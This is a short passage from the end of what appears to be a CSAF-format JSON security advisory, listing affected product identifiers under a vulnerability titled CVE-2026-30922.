"CSAFPID-5842753", "CSAFPID-5842754", "CSAFPID-5842755", "CSAFPID-5842756", "CSAFPID-5842757", "CSAFPID-5842758", "CSAFPID-5842759", "CSAFPID-5842760", "CSAFPID-5842761", "CSAFPID-5842762", "CSAFPID-5842763", "CSAFPID-5842764", "CSAFPID-5842765", "CSAFPID-5842766", "CSAFPID-5842767", "CSAFPID-5842768", "CSAFPID-5842769", "CSAFPID-5842770", "CSAFPID-5842771", "CSAFPID-5890858", "CSAFPID-5890859", "CSAFPID-5919019", "CSAFPID-5971045" ] } ], "title": "CVE-2026-30922" } ] }